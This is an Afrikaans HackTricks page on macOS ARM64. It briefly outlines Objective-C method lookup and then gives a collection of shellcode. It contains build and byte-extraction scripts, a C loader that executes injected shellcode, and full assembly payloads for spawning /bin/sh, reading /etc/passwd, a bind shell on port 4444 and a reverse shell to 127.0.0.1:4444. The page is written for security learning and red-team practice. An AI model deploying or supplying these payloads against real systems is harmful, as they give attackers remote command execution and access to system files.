Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen:
- Voer optimistiese kassoektog uit:
- As suksesvol, klaar
- Verkry runtimeLock (lees)
- As (realiseer && !cls->realized) realiseer klas
- As (initialize && !cls->initialized) inisieer klas
- Probeer klas se eie kas:
- As suksesvol, klaar
- Probeer klas metode lys:
- As gevind, vul kas en klaar
- Probeer superklas kas:
- As suksesvol, klaar
- Probeer superklas metode lys:
- As gevind, vul kas en klaar
- As (resolver) probeer metode resolver, en herhaal vanaf klas soektog
- As ek nog hier is (= alles anders het gefaal) probeer voorwaarts
Shellcodes
Om te kompileer:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Om die bytes te onttrek:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Vir nuwer macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C kode om die shellcode te toets
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Geneem uit hier en verduidelik.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Lees met cat
Die doel is om execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
uit te voer, so die tweede argument (x1) is 'n array van parameters (wat in geheue 'n stapel van die adresse beteken).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Roep opdrag met sh vanaf 'n fork sodat die hoofproses nie doodgemaak word nie
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell van https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s in port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Van https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell na 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.